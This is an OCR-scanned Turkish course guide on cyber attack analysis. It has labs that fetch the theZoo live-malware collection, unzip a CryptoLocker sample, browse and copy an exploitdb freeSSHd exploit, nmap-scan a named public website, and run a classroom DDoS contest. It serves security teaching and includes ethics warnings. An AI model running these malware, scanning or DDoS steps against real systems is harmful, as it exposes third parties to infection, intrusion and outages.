Sifreli ve Kkilitli olarak gelmelerinin bir sebebi var! Ne yaptigimzdan tam olarak

emin degilseniz onlar1 ¢ahstirmayin! Sadece egitim amach kullamlacaklardir!

Bunlar internet baglantis1 olmayan ve konuk eklemeleri veya esdegerleri olmayan bir
VM'de calistirmanizi 6neririz. Bunlarin bazilari solucandir ve otomatik olarak yayilmaya
caligirlar. Bunlari kisitlama olmadan ¢alistirmak, kendinize veya baskalarina acimasiz

ve tehlikeli kotii amach yazilhim bulastiracagimiz anlamina gelir!”

Ogrencilerin kétii amach yazilimlan Kesinlikle ¢calistirmamalari gerekmektedir.

2. Kali Linux terminal ekraninda asagidaki komutu calistiriniz:

sudo git clone https://www.github.com/ytisf/theZoo

yazilim ornekleri bulunmaktadir. Bu dizine ge¢is yapiniz.

4. Binaries dizini altindaki dizinlerden herhangi birine gegis yapilarak file komutu
yardimiyla k6tii amacli dosyanin tiirii ve hedef aldig isletim sistemi tespit edilecektir.
Bu alt dizinlerin altinda .zip uzantili bir dosya i¢inde yer alan malware 6rnekleri, unzip
komutunun root olarak calistirilmasiyla ¢ikartilabilir. Ornegin,
CryptoLocker 22Jan2014 dizini altinda "sudo unzip CryptoLocker 22Jan2014.zip"
komutu ¢alistirilip parola soruldugunda CryptoLocker 22Jan2014.pass dosyasi i¢indeki

parola kullanilir. Daha sonra "file 1002.exe" komutu calistirilinca, dosyanin PE32, yani


https://www.github.com/ytisf/theZoo
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32-bit Windows sistemlerini hedef alan bir ¢alistirilabilir dosya oldugu goriiliir. Bu

komutlar1 birkag farkli dizin ve dosya i¢in tekrarlayarak incelemeyi siirdiiriiniiz.

5. Bu adimda dosyalarin i¢indeki karakter dizileri (stringler) incelenecektir. Sectiginiz bir
dosya_adzi i¢in strings komutunu asagidaki sekilde ¢alistiriniz.
strings dosya_adi

Incelediginiz ¢iktida faydali bir bilgi gériiyor musunuz?

6. Yukaridaki 4. ve 5. adimu siire yettigince istediginiz kadar tekrarlayarak incelemenizi

surdiriniz.

Kaynak: https://www.theta432.com/post/malware-analysis-part-1-static-analysis



https://www.theta432.com/post/malware-analysis-part-1-static-analysis

Bolim 6: Siber Saldir1 Analizi

HAFTA 6. SIBER SALDIRI ANALiZi

ON BILGI
e Temel gilivenlik kavramlari

e Yazilim giivenlik a¢1g1 bulma

e Donanim giivenlik a¢ig1 bulma

AMAC

Bu boliimiin amaci, 6grencileri bir siber saldirinin analizi ile ilgili temel kavramlar hakkinda
bilgi sahibi yapmaktir. Bu analizin amaci siber saldirilara karsi 6nlem alma mekanizmalarini
ogrenmelerini saglamaktir. Boliim igerisinde giivenlik agig tiirleri anlatilacak, kotii amagl
yazilim tiirlerine deginilecek, sizma yontemleri ve hizmet engelleme detayli olarak
anlatilacaktir. Ayrica farkli konularla ilgili olarak dgrencilerin ¢esitli uygulamalar1 yapmalari

saglanacaktir.

BOLUM KAZANIMLARI

Bu boliimii tamamlayan bir 6grenci,

e Giivenlik agiklarinin sebeplerini agiklar.

e Yazilim giivenlik agiklarinin sebeplerini siralar.

e Donanim giivenlik agiklarinin sebeplerini siralar.

e Son yillarda yasanan giivenlik ihlallerine 6rnekler verir.
e Giivenlik agiklarini kategorize eder.

e Sizma yontemlerini agiklar.

e WHOIS aracini uygular.

e NMAP port taramasini uygular.

e DoS saldir tiirlerini agiklar.

e DDoS saldir tiirlerini sayar.
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e Wireshark ile ag trafigini izler.

KULLANILACAK MATERYAL VE ARACLAR

Bilgisayar, internet, Wireshark yazilimi, kagit, kalem

HAFTANIN ISLENISi

Gozle ve Giivenlik acig1 gesitlerini kavrama, istismar (exploit) kavramini agiklayarak
Uygula bir istismar ¢alistirma, Meltdown ve Spectre giivenlik agiklarini tanimlama,
saldirt tiirlerini siniflandirma, giivenlik ihlali yontemlerini sayma, DoS ve

DDoS saldirilarini agiklama

Uygula Wireshark ile ag izleme uygulamasi, Whois sorgulama etkinligi
Tasarla ve DDoS saldir1 yarigmasi
Uret

Degerlendir ~ Haftanin igeriginin degerlendirilmesi ve calismanin devam ettirilmesine

yonelik oneriler

1. GOZLE VE UYGULA CyberMag dergisinde 2020 yilinda

yayinlanan bir makaleye gore

sirketlerin %76’smln siber

Bu boliimde siber saldirilar ile ilgili ¢esitli kavramlar

tanitilarak derinlemesine bir tartigma saglanacaktir. sl Pertbe alnguen Siken

musunuz?

1.1. GUVENLIK ACIGI

Egitmen 6grencilerinin glivenlik ile ilgili tartigmalarini saglar. Bunun i¢in 6grencilerine ¢esitli
sorular sorarak onlarin cevabini alir ve ardindan giivenlik ve glivenlik agikliklar ile ilgili olarak
detayli agiklamalarini yapar. Biitiin bu islemler i¢cin 15-20 dakikalik bir zaman ayirmak

yeterlidir.

e Parola ile hangi mekanlara giris yapiyorsunuz? (Buradaki parola herhangi bir fiziki
anahtar ya da manyetik kart da olabilir)
e Okul ya da oturdugunuz apartmana girerken anahtar ya da parola kullaniyor musunuz?

Eger kullaniyorsaniz neden bdyle bir yol tercih etmekteyiz? Sebebi nedir?
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e Oturdugunuz apartmanin ya da sitenin giivenlik personeli var m1? Varsa gilivenlik
bulundurmanin sebebi nedir?

e Okulunuzun giivenlik personeli var m1? Varsa giivenlik bulundurmanin sebebi nedir?

e Oturdugunuz apartman ya da sitede kameralar var m1? Varsa kamera bulundurmanin

sebebi nedir? Bu kameralar nerede/nasil isimize yarar?

“Tiibitak BILGEM Parola Giivenligi Olcer”
(https://sge.bilgem.tubitak.gov.tr/tr/bilgimi-
koruyorum) ya da
(https://bilgimikoruyorum.org.tr/ilkders/inde
x.php?b223_yaparak_ogrenelim) ile
parolalarin testini ¢cevrimici
gerceklestirebilirsiniz.

Parolamz Olciin!

Parola: | & Parolay: Goster

Puan (%): 0%

Toplam puan: -100  (Fazla tekrar yokken toplam puan - -100)

Tipi Acgiklama Min. Sayi Toplam say! Puan Ceza Toplam Puan
3 Kritik ozellikler 3 0 10 10 -10
3 Karakter sayist” 5 0 10 -20 -20
3 Onerilen karakter sayisi 0 10 -10 -10
3 Kucuk harf kullanim * 0 10 -10
3 Buyuk harf kulianimi * 0 ) -10
3 Rakam kullamm 0 10 -10
3 Sembol kullanimi* 0 10 -10
3 Rakamiarn aralarda kullanimi 0 10 -10
3 Sembollerin aralarda kullanimi 0 0 -10 -10
| 2 Ardisik harf kullanimi 0 10 0
! 2 Ardigik rakam kullanimi 0 10 0
| 2 Klavye kaliplari kulianimi 0 0
2 Tekrarlanan kisimiar var 0 0 0
f 2 Tersten yazilan kisimiar var 0 0 0

Egitmen sadece bu sorular1 sorarak kendisini sinirlandirmak zorunda degildir. Gelen cevaplarla
birlikte 6grencilerden de yeni sorular ortaya ¢ikabilir. Bunlara benzer sorular ¢ergevesinde
tartisma yonetilerek Ogrencilerin fikirlerini beyan etmesi saglanir. Gergek yasam iginde
ogrencilerin fikirleri ile birlikte giivenligin ne kadar 6nemli oldugu sonucuna hep birlikte
varilir. Giinliik yagsamdaki gilivenlik ve gilivenlik a¢181 neticesinde ortaya ¢ikacak durumlardan
yola ¢ikarak dijital ortamda giivenlige gecis yapilir. Dijital giivenlige gecis yaparken de

egitmen asagida yer alan sorularla tartismay1 yonetebilir:

e Bilgisayarimizin giivenligini nasil sagliyorsunuz?

e Bilgisayara parola koymamizin amaci nedir?
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e Bir web sitesine iiye olurken kullanici ad1 ve parola se¢iminde hangi kriterleri dikkate
aliyorsunuz?
e Parolamiz bir bagka kisinin eline gegerse neler olabilir?
e Siber savas kavramint duydunuz mu? Duyan varsa ne demek oldugunu agiklayabilir
mi?
Oncelikle yasam igindeki giivenlik ardindan dijital hayattaki giivenlik konularma 6grenciler
motive edilmek zorundadir. Devaminda giivenlikle ilgili temel kavramlar egitmen tarafindan

aciklanir.

/ EGITMENE NOT \

Bilgi giivenligi ve 6nemi, parola gilivenligi, zararl programlar, sosyal miihendislik, e-

posta giivenligi ve ADSL modem giivenligi konularn ile ilgili olarak 6grencilerin

https://bilgimikoruyorum.org.tr/ilkders/index.php?b100_bilgi-guvenligi linkinde yer

alan iceriklerden yararlanabilir ya da incelemeleri ig¢in Ogrencilerinizle

\paylasabilirsiniz. J

Istismar (Exploit): Bir bilisim sistemine saldirmak isteyen kotii niyetli kisiler oncelikle

giivenlik ac1g1 tespit eder. Bu agikliklar donanim ya da yazilim kaynakli olabilir. Herhangi bir
giivenlik agigindan, kod hatasindan ya da sistemden kaynakli hatalardan yararlanarak giivenlik

ihlallerine sebep olan programlara istismar (exploit) ad1 verilmektedir (Cakir & Yasar, 2015).

( EGITMENE NOT \

Istismar (exploit) kavrami ile ilgili olarak ogrencilerin

https://www.youtube.com/watch?v=9ArppIx1IAg linkinde yer alan videoyu izlemesini

saglayiniz.

\ J

Yazilm giivenlik acigi: Yazilim giivenlik agikligr bir yazilim ya da isletim sisteminin

kullanilmaya baslanmasiyla birlikte ortaya ¢ikan hatalardan olusmaktadir. Uretici firmalar bu
hatalar1 gidermek i¢in yama ya da gilincelleme adi verilen programlari piyasaya siirerek
kullanicilarin yiikleme yapmalarini istemektedir. Giincellemenin belli bir periyodik dénemi

bulunmamaktadir, yil igerisinde iireticiler tarafindan herhangi bir giincelleme ¢ikarildiginda
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kullaniciya bildirim verilerek o yazilimla ilgili bir gilincellemenin mevcut oldugu haber

verilmektedir (Kekiil, Ergen, & Arslan, 2021).

Donanim giivenlik a¢igi: Donanim gilivenlik agikliklarr genellikle tasarimdan kaynaklanan
hatalardir. Ornegin bir giivenlik aci1g1 mikroislemci (CPU) iiretiminde gdzden kagirilmis
olabilir. Uretilmis olan CPU’nun kendisine gelen emirleri herhangi bir sira gdzetmeksizin
uygulamaya koymasi donanimdan kaynaklanan giivenlik acigina 6rnek olarak gosterilebilir.
Boyle bir durumda CPU c¢alistirmamasi gereken bir kodu ¢alistirarak giivenlik zafiyetine sebep
olabilir.

( EGITMENE NOT \

Son dénemde Google giivenlik uzmanlari tarafindan AMD, Intel ve ARM islemcilerde

“Meltdown ve Spectre” isimli aciklar tespit edilmistir. Ogrencilerin bu agiklarla ilgili

J

Asagida yer alan uygulama ile dgrenciler istismar igerisinde yer alan kod bloklarini, bir

aragtirma yapmalarini saglayiniz.

istismarin neye benzedigini ve dizin yapisini inceleme sansina sahip olacaklardir.
Uygulama:

1. Kali Linux isletim sisteminde en yetkili kullanict olan root ile sisteme giris yapiniz.

2. Terminal ya da konsol ekranina cd /usr/share/exploitdb/ komutunu yazip enter tusuna
basiniz.

3. Is komutunu yazarak enter tusuna basiniz.

4. Listeleme islemi ekranda goriinecektir. Girmek istenen dizine cd komutu ile giris
yapiniz. Ornegin cd platforms/

5. Is komutunu yazarak enter tusuna basiniz.

6. Ekranda bir¢ok platformu goreceksiniz. Listedeki herhangi bir platforma girmek igin
cd komutu ile giris yapiniz. Ornegin cd windows/

7. Is komutunu yazarak enter tusuna basiniz.

8. Ekranda istismar ¢esitlerinden dos, local, remote, shellcode, webapps segenekleri
goriinecektir. Hangi istismar yapilacaksa ona cd komutu ile giris yapmak
gerekmektedir. Ornegin cd remote/ yazarak enter tusuna basiniz.

9. Is komutunu yazarak enter tusuna basiniz.

10. Ekranda uzaktan istismar (remote exploit) ile ilgili onlarca segenek goriinecektir.
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11. Bu segeneklere goz attiktan sonra cd ../ ../ .. komutunu yazarak enter tusuna basiniz.

12. 1s komutunu yazarak enter tusuna basiniz.

13. Ekranda files.csv, platforms, searchsploit se¢enekleri goriinecektir. Bunlarin disinda
secenekler de isletim sisteminin farkliligindan dolay1 goriinebilir.

14. grep freeSSHd files.csv yazarak enter tusuna basiniz.

15. Ekrani inceledikten sonra grep freeSSHd files.csv | grep remote komutunu girerek enter
tusuna basimiz. Ekranda .pl uzantili dosyalar1 goreceksiniz. Ornegin 5751.pl gibi bir
sploid listede gorebilirsiniz.

16. Ekrani inceledikten sonra cd platforms/windows/remote/ yazarak enter tusuna basiniz.

17. cp 5751.pl /root/freeSSHdexploi.pl komutunu yazarak enter tusuna basiniz.

18. cd /root/ komutunu yazarak enter tusuna basiniz.

19. Is komutunu yazarak enter tusuna basmiz. Listede istismarlar gériinecektir. Ornegin
freeSSHdexploit.pl gibi

20. Istismara girmek igin vim freeSSHdexploit.pl komutunu yazarak enter tusuna basmiz.

21. Ekrana gelen istismarin igerigini kaydirma ¢ubugu ile asagi ve yukari kaydirarak

inceleyebilirsiniz.

Bu uygulama adimlarinin videolu anlatimi igin Siber Giivenlik Akademisi isimli Youtube

kanalindaki videoyu izleyebilirsiniz: https://www.youtube.com/watch?v=tOsCwMOSRAY

Bu uygulama ile 6grenciler bir istismar i¢inde yer alan kod bloklarinin yapisini inceleyerek

neye benzedigi konusunda fikir sahibi olurlar.

Uygulamanin ardindan egitmen bazi giivenlik agikligr tiirleri ile ilgili olarak asagidaki

aciklamalar1 yapabilir.

Arabellek tasmasi: Her uygulamanin kullandig1 ya da trettigi veriler icin bellekte bir yer
kullanilir. Bellekte kendisine ayrilan yerin disinda bagka yerlere de erismeye ve kullanmaya
calismak giivenlik sikintilarina neden olabilir. Ustelik sistemin ¢dkmesine ve ¢alismamasina

da yol agabilir.

Dogrulanmamis girdi: Programin islemesi i¢cin girdi olan verinin kotli amach olarak
kullanilmasidir. Kotli amacl bir girdi programin ¢alismamasina ya da hizmetin aksamasina

neden olabilir.

Giivenlik zayifliklari: Her bir iiretici kendi giivenlik mekanizmalarin1 ya da algoritmalarini
gelistirmekle birlikte, daha 6nceden gilivenilir firmalar tarafindan gelistirilmis ve test edilerek

giivenligi kanitlanmis olan kiitliphanelerin kullanilmas1 ¢ok daha uygundur.


https://www.youtube.com/watch?v=tOsCwMOSRAY

Bolim 6: Siber Saldir1 Analizi

Erisim sorunlari: Sistem kullanicilarinin izlenmesi olduk¢a 6nemlidir. Ciinkii giivenlik

sorunlarinin biiyiik bir kismina sistemin kullanicilarinin yol ag¢tig1 unutulmamalidir.

/

~

EGITMENE NOT

Saldirt tiirlerinden Morris Worm ve SQL Slammer Attack saldirilarinin 6grenciler

tarafindan arastirilmasini saglaymiz. Bu saldirilarin hangi tiir saldir1 tipleri olduguna

yonelik 6grencilerin goriislerini alabilirsiniz.

- )

1.2. SIZMA YONTEMLERI

Giivenlik a¢1g1 olusturmada 6zellikle son donemde kullanilan yontemlerden bazilart Sekil 1°de

gosterilmektedir (Dogan, 2021).

~
Sosyal mihendislik

y,
A
Wi-Fi parolasi
kirma
y,
A

Kimlik avi

Sekil 1. Giivenlik ihlali yontemleri

Sosyal miihendislik: Giiniimiizde 6zellikle karsilasilan sizma yOntemidir. Insanlarin
zayifliklarindan, korkularindan ya da dikkatsizliklerinden yararlanarak onlar1 tuzaga diisiirme
islemidir. Ornegin kisiye e-posta yollayarak mailbox sifrenizin siiresi doldu, sifreyi yenilemek
icin linke tiklaymiz; ya da bedava cep telefonu kazandiniz, formu doldurunuz seklinde gelen

mesajlar sosyal miihendislige 6rnek olarak verilebilir.
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Wi-Fi parolasi1 kirma: Bir kablosuz aga girebilmek igin gerekli olan sifreyi elde edebilmek
icin sosyal miihendislik veya kaba kuvvet saldirilar1 yontemleri kullanilabilir. Son dénemdeki

onemli giivenlik problemlerinden birisidir.

Kimlik avi: Kimlik avi phishing, yemleme ya da oltalama olarak da adlandirilmaktadir.
Giiniimiizde dolandiricilikta siklikla bagvurulan bir yontemdir. Ornegin, bildiginiz bir
telekomiinikasyon firmasi tarafindan yollaniyormus gibi gosterilen ve iginde bir linke

tiklayarak gorevinizi yapmanizi isteyen bir e-posta bu tiir saldirtya drnektir.

1.3. SALDIRILAR

Giivenlik zafiyetine neden olan saldirilar ag, sistem ve web saldirilart  seklinde
siniflandirilabilir. Bu kisimda giiniimiizde yaygin bi¢cimde kullanilan ag saldirilarindan DoS ve

DDoS agiklanmaktadir.

DoS (Denial of Service) saldirilari: Hizmeti yavaslatan, aksatan ya da ¢alisamaz hale getiren
ag saldir tiirtidiir. Bir saldirgan bir sunucuya cevap veremeyecegi yogunlukta ve miktarda veri
yolladiginda sunucu bunu kaldiramaz ve hizmet aksar. Bu durum DoS saldirisina 6rnek olarak

verilebilir.

DDoS (Distributed DoS) saldirilari:  DoS 28 Subat 2018 tarihinde GitHub

saldirisina benzer, ancak saldir1 bir kaynak yerine ¢ok sirketine yapilan 1.35 Thps'lik
DDoS saldirist o ana kadar

sayida dagitilmis kaynaktan hedef sunucu {izerine
gergeklestirilen en biiyiikk siber

gergeklestirilir. Daha 6nceden baska bir saldiriyla ele

saldirt  olarak tarihte yerini
gecirilmis  ve zombi olarak adlandirilabilen | ellfEeiesmSEIRIEEE T E T
yapilandirilmis Memcache
sunucular1 kullanilmistir.

bilgisayarlar hedef sunucuya siirekli istek gondererek

DDoS saldirilarinin  gerceklesmesinde pay sahibi

olurlar.

Asagida cesitli saldirilarin isimleri verilmistir. Ilgili kavramin Internet iizerinden dgrenciler
tarafindan arastirilmasini saglaymiz. Her bir saldir tiirliniin sag tarafina agiklamasi 6grenci

tarafindan arastirilarak yazilacaktir.
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Saldir tiirii Aciklama

Man-in-the-Middle (MitM) —

Aradaki adam saldirisi

ARP Poisoning (ARP
Zehirlenmesi)

DNS Spoofing (DNS Onbellek

Zehirlenmesi, Aldatma)

Port Calma (Port Stealing)

STP Mangling

2. UYGULA

Egitmen asagida yer alan farkli uygulamalar1 Ogrencilerine yaptirir ve analiz etmelerine

yardimect olur.

2.1. AG TRAFIGi iZLEME UYGULAMASI

Beyaz sapkali korsanlarin (etik hacker) en Ag trafigini izlemek igin birgok program

¢ok tercih ettikleri araglar: mevcuttur. Bu programlar arasinda en ¢ok
e Metasploit
Nmap
SQLMap gelen Wireshark programini uygulama amacli
Wireshark
OpenVAS
Nikto dinlenmekte ve dinlenen trafikle birlikte
IronWASP agdaki  bilgilere ulasabilmek miimkiin
SQLNinja
Maltego

kullanilan ve Kali Linux ile birlikte kurulu

kullanabilirsiniz. Bu yazilim ile ag trafigi

olmaktadir.

Bulundugunuz yerde agin trafigini izlemek

icin egitmenler tarafindan 6grencilere asagidaki uygulama adimlari sirasiyla uygulatilir:

1. Kali Linux {izerinde terminali (konsol) ac¢in.
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2. Terminal i¢inde wireshark yazarak enter tusuna bastiginizda program calismaya
baslayacaktir.

3. Ekrana bir uyar1 penceresi gelebilir. Bu pencerenin herhangi bir 6nemi yoktur. Eger
boyle bir uyari penceresi gelirse Ok butonuna basin.

4, Karsiniza gelen arabirimlerden Kali’nin kullandigi ethO arabirimine ¢ift tiklayarak
segin.

5. Buasamadan sonra ethO dinlenmeye baslanmistir.

6. Simdi ag lizerinde bazi islemler gergeklestiriniz. Konsol ekranina tekrar donerek ¢esitli

adreslere ping atin. Ornegin ping 8.8.8.8 gibi.

/ EGITMENE NOT \

Bir bilgisayarin baska bir bilgisayar ya da adresle arasindaki baglanti durumunu

kontrol etmek ping atmak olarak adlandirilir. Kendi bilgisayarinizin Ethernet
kartinin sorunsuz ¢alistigini test etmek i¢in cmd ekraninda komut satirina ping

localhost yazip enter tusuna basin. Eger olumlu bir cevap donerse Ethernet karti

Q)runsuz calistyor anlami1 tagimaktadir. J

7. Konsol ile wireshark penceresini ayni anda ekranda gormeye ¢alisin. Ping atildig1 anda

arka tarafta calisan wireshark uygulamasinda da yapilan islemlerin takip edildigi
goriilecektir.
8. Terminal i¢inde firefox yazip enter tusuna basarak tarayiciy agin.

9. Tarayicida adres satirina http://www.gazi.edu.tr yazarak enter tusuna basin, Gazi

Universitesi web sayfasi ekrana gelsin. Ardindan tarayiciy1 tamamen kapatin.

10. Wireshark ekranina geri doniin. Programi tam ekran yaparak inceleyin. Su ana kadar
yaptiginiz biitiin islemler, istekler ve komutlar izlenmeye baslanmistir. Yakalanan
paketlerle ilgili olarak attiginiz ping islemini gosteren ICMP paketlerini, web sayfasina
baglanirken kullanilan DNS, TCP ve HTTP protokollerini ekranda gorebilirsiniz.
Aciklama kisimlarmi da detayl inceleyebilirsiniz. Ornegin program igindeki en sag
kisim olan ac¢iklamada goriilecek olan “200 ok™ web sayfasinin ekrana sorunsuz bir
bicimde geldigini géstermektedir.

11. Her bir islemi detayli incelemek i¢in program igindeki herhangi bir satira tiklaym.
Tikladiginiz isleme iliskin bilgiler program penceresinin asagr kisminda detayl

bilgileri igermektedir. Bu bilgileri de inceleyebilirsiniz.


http://www.gazi.edu.tr/

Bo6liim 6: Siber Saldir1 Analizi

12. Bu sekilde her yeni yaptiginiz isleme ait agin izleme durumunu wireshark programi

iizerinden takip edebilirsiniz.

2.2. WHOIS ILE SORGU YAPMA UYGULAMASI

Whois satin alinan ya da kaydedilen alan adi bilgilerinin kime ait oldugu bilgisini sunan
hizmettir. Bir alanin kime ait oldugunu kontrol etmek i¢in whois hizmetini kullanabilirsiniz.
Whois sorgulamasi ile alan adinin kime ait oldugunu, hangi firma tarafindan kayit altina
alindigini, alanin ne zaman tescil edilip ne zaman sona erecegi vb. bilgileri sunmaktadir. Alan
ad1 tescili yapan firmalar biitiin bu teknik bilgileri alan adin1 satin alan kisiye diizenleme ve
gizleme gibi haklar vermektedir. Yani kisiler bu bilgilerini alan ad1 hizmetinden yararlandiklari

firmalarin kendilerine sunduklari araglart kullanarak giincelleme imkanina sahiptir.
Egitmen asagidaki adimlar1 6grencilerine uygulatir:

1. Bilgisayarda kullandiginiz web tarayiciy1 ¢alistirin.
2. Google igerisinde Whois sorgulama yazabileceginiz gibi herhangi bir hizmet

saglayicinin adresini de adres gubuguna yazabilirsiniz. Ornegin www.turhost.com gibi.

3. Ilgili firmanin ne oldugunun herhangi bir énemi yoktur. Karsiniza gelen sayfada
domain se¢eneginin altinda “whois sorgulama” segenegini segin.

4. Karsmiza gelen ekranda sorgulamak istediginiz alan adin1 yazin ve sorgula butonuna
tiklayin. Ornegin celebiuluyol.com yazarak sorgula butonuna basim.

5. Karsiniza arama yaptigimiz alan adi ile ilgili olarak ¢esitli bilgiler gelmistir. Bu

bilgilerin tiimiinii ekrana getirerek detayli olarak inceleyin.

3. TASARLA VE URET

Bu kisimda 6grencilere tasarla ve iiret etkinligi kapsaminda asagida belirtilen DDoS saldir1
yarigmasi agiklanmaktadir. Egitmenin bu kisimda 6grencilere agiklamasi gereken dnemli bir

husus etik kavramidir. Asagida kisaca deginilen etik kavramini 6grencilerinize agiklaymiz.

Etik kokeni Yunanca’ya dayanan bir kavram olup kisilik, karakter anlamina gelmektedir. Etik
tim toplumlar tarafindan kabul edilmis evrensel bir kavramdir. Dolayisiyla etik iyi, dogru,

adalet, deger, erdem ve vicdan gibi kavramlar1 temel alir.


http://www.turhost.com/
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Bilisim teknolojilerinin de dogru bir sekilde kullanimi i¢in Uluslararas1 Bilgisayar Etik
Enstitiisii  tarafindan uyulmasi gereken kurallar siralanmistir. Bu kurallar su sekilde
Ozetlenebilir. Egitmen 6grencilerine siber giivenlik ile ilgili uygulamalar gelistirirken asagida

siralanan etik unsurlari unutmamalar1 gerektigini mutlaka hatirlatmalidir.

¢ Bilisim teknolojileri baskalarina zarar vermek i¢in kullanilmaz.

e Bagska bir kisiye ait verileri incelememek gerekir.

e Bagkalarinin olusturdugu ¢alismalar1 karistirmamak gerekmektedir.

e Bilisim teknolojileri hirsizlik yapmak i¢in kullanilmaz.

¢ Bilisim teknolojileri yalanci sahitlik yapmak i¢in kullanilmaz.

e Lisanssiz, kopya ya da kirilmig yazilimlar1 kullanmamak gerekir.

e Bagska birisi tarafindan bilisim teknolojileri ile olusturulmus ¢alismalar1 kendinize mal
edemezsiniz.

e Yazdiginiz kod, program ya da yazilimlarin/sistemlerin sonuglarini géz oniine almak
zorundasiniz.

e Bilisim teknolojilerini kullanirken diger insanlara saygi1 duyarak kullanmak gerekir.

3.1. DDOS SALDIRISI YARISMASI

bireysel olarak ya da 2-3 kisilik gruplar halinde igbirligi i¢erisinde ¢alismalarini saglayabilir.

Egitmen oOgrencilerine asagidaki Youtube kanallarindan ilgili videolar: bireysel olarak
izlemelerini ister. Bu videolar: izlemek igin 15 dakika yeterlidir. Ogrenciler tekrar tekrar

videolari izleyebilirler.

e https://www.youtube.com/watch?v=3uZABZnc2IU

e https://www.youtube.com/watch?v=p-VnVAZkLvs&t=31s

e https://www.youtube.com/watch?v=J2rS6gK095M

Bu web adreslerinde bir DDoS saldirisinin nasil gerceklestirilebilecegi ile ilgili detayli
anlatimlar mevcuttur. Bu anlatimlarin digsinda da onlarca farkli ara¢ ya da anlatim videosu
mevcuttur. Ancak Ogrencilerin basit bir DDoS islemi yapim asamalarini bu videolardan

ogrenmeleri olduke¢a kolaydir.

Egitmen videolarin izlenmesinin ardindan su kilavuzu 6grencilerle paylasir:


https://www.youtube.com/watch?v=3uZABZnc2IU
https://www.youtube.com/watch?v=p-VnVAZkLvs&t=31s
https://www.youtube.com/watch?v=J2rS6gKo95M
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e 30 dakikalik siire igerisinde her bir 6grenci kendi bilgisayarinda DDoS saldirisi
gergeklestirecektir. Bu islemi dogru ve hizli yapan kisiye ise 30 dakika sonunda anlatim

ve sunum i¢in 5 dakika bir siire verilecektir.

Egitmen DDoS saldirisini basariyla gerceklestiren 6grencileri izler ve yonlendirmelerini yapar.
Basariyla tamamlayan 6grencilerin isimlerini ajandasina not eder. Daha sonra bu 6grencilerden
dogru ve hizli yapan bir kisi ya da grubu anlatim i¢in sahneye davet ederek sunumu diger
arkadaslarina yaptirir. Anlatimla birlikte 10 dakika soru-cevap ve tartisma ortami saglanmis

olur.

Egitmen tarafindan 6grencilere sorulmasi gereken sorulardan birisi sudur: Peki bu saldirilara
kars1 firmalar, sirketler, kurum ya da kuruluslar hangi 6nlemleri aliyorlar ki DoS ya da DDoS
saldirilarma kalkan olunmaktadir? Ogrencilere beyin firtinas1 yaptirilarak onlarin fikirleri
alimir. Neticede cevap olarak egitmenin vurgulamasi gereken husus firewall adi verilen
giivenlik duvar1 yazilim ve donanimlarinin saldirilar1 engellemede 6nemli oldugu, ancak

giivenlik duvarlarinin DDoS saldirilarina kars1 yetersiz kalabildigidir.

4. DEGERLENDIR

Bu boéliimdeki yarigma ve uygulamalarda her bir gruba ya da kisiye asagidaki sorular egitmen

tarafindan sorulabilir:

e Bir kurumda bilgi islem birimlerinin gérevlerinin neler oldugunu biliyor musunuz?

e Bir kurumda bilgi islem birimindeki yetkili kisiler kendi kurumlarinin agini her zaman
izlemek zorunda midir? Neden izlemek gerekmektedir?

e Bir kurum kendi aginin analizini yapmali midir? Neden ag analizini yapmak
zorundadir?

e Son donemde hangi siber saldirilart duydunuz? Bu saldirilar hangi tip saldirilara 6rnek
olarak verilebilir?

e 2021 yili Mart ayinda Yemeksepeti isimli firmaya yapilan siber saldirtyr duydunuz mu?
(Egitmen bu saldiriyr 6grencilerin detayli arayarak saldiri hakkinda bilgi sahibi

olmalarini saglayabilir).

Her gruptan ya da kisiden olmasa bile 6grencilerden siire¢ i¢inde kendileri i¢in énemli veya

ilgin¢ bulduklar1 hususlar1 arkadaslarina aktarmalari istenir.
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Tlim tartismalarin ardindan bu boliimde 6grenilenlerin gelecekte kullanimina yonelik oneriler

iizerine beyin firtinas1 yapilabilir. Ornegin egitmen DoS ve DDoS saldirilar ile ilgili olarak

meydana gelebilecek zararlar ile ilgili 6grencilerin goriislerini alabilir. Boylelikle saldirilara

kars1 yetigmis personelin almasi gereken dnlemlerin 6nemi anlasilmis olur.

5. EK ETKINLIK

Kali Linux lizerinde port taramasi yapmak icin ¢esitli programlar hazir olarak gelmektedir:

zenmap ve nmap programlart gibi. Egitmen bu programlar1 kullanarak 6grencilerine port

taramasi uygulamalarini yaptirabilir. Asagida nmap etkinligi anlatilmaktadir.

Nmap etkinligi:

1.
2.
3.

Terminal ekraninda nmap yazip enter diigmesine basin.

Gorsel bir arayiiz ¢calismayacak, detaylt metin halinde bilgiler ekraniniza gelecektir.
Terminal ekraninda karsiniza gelen bilgilerde nmap programinin kullanimina veya
cesitli parametrelere iligkin bilgiler sunulmaktadir.

Terminal ekranina nmap —u www.celebiuluyol.com —d yazarak enter diigmesine basin.
Bu islem ilgili web sayfasini dinamik olarak tara anlami tasimaktadir.

Belli bir siire bekleyin. Sonuglara ait bilgiler metin olarak size sunulacaktir.

Agik olan portlar ve bu portlara ait bilgiler “discovered open port ...” seklinde devam
eden bir satir ile karsiniza getirilecektir. Bu satirda hizmetin adi, hangi porttan calistig
ve IP adresi gibi bilgileri gormek miimkiindiir.

Bir siire daha taramayi bekleyin.

Gegen siire dahilinde tarama sonucu anlik olarak metin bilgisi seklinde karsiniza
gelecektir.

Bu iglemlerin benzerini ping atarak yanit veren ve IP adresini 6grendiginiz baska bir

web sitesini kullanarak deneyiniz.
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HAFTA 7. WEB SALDIRILARI VE SAVUNMA

ON BILGI
e Temel giivenlik kavramlari
e Veritabani yonetim sistemlerinin temel kavramlar:
e SQL sorgulama dili komut yapis1
e Agsaldir gesitleri

AMAC

Bu boliimiin amaci, dgrencileri bir web saldiris1 hakkinda bilgi sahibi yapmaktir. Ozellikle
SQL enjeksiyonu (SQL injection) olarak bilinen ve giiniimiizde siklikla kullanilan web saldirist
ile ilgili mekanizma ve iglem basamaklarini 6grenmelerini saglamaktir. Boliim igerisinde web
saldirilart ile genel agiklamalar yapilmakta, web saldir1 tiirlerine gesitli 6rnekler verilmekte ve
SQL enjeksiyon saldirilar detayli anlatilmaktadir. Ayrica gesitli web saldirilar ile ilgili olarak

ogrencilerin farkli uygulamalar1 yapmalar1 saglanmaktadir.

BOLUM KAZANIMLARI

Bu boliimii tamamlayan bir 6grenci,

e Web saldirilar ¢esitlerini aciklar.

e Bir web sitesindeki acikliklari tespit edecek islem adimlarini uygular.
e SQL enjeksiyonu saldirist islem basamaklarini analiz eder.

e SQL enjeksiyonu saldiris1 uygular.

e SQL enjeksiyonu saldiris1 korunma yollarin sayar.

